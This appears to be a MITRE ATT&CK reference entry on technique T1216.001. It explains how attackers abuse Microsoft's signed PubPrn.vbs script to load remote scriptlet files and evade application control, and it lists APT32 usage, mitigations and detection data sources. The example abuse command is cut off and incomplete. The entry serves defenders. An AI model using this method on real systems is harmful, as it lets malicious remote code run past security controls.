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T1216.001 PubPrn

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.1

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.2 To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs script: This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

Item Value
ID T1216.001
Sub-techniques T1216.001
Tactics TA0005
Platforms Windows
Version 2.0
Created 03 February 2020
Last Modified 18 April 2022

Procedure Examples

ID Name Description
G0050 APT32 APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.4


ID Mitigation Description
M1040 Behavior Prevention on Endpoint On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.3
M1038 Execution Prevention Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.


ID Data Source Data Component
DS0017 Command Command Execution
DS0009 Process Process Creation
DS0012 Script Script Execution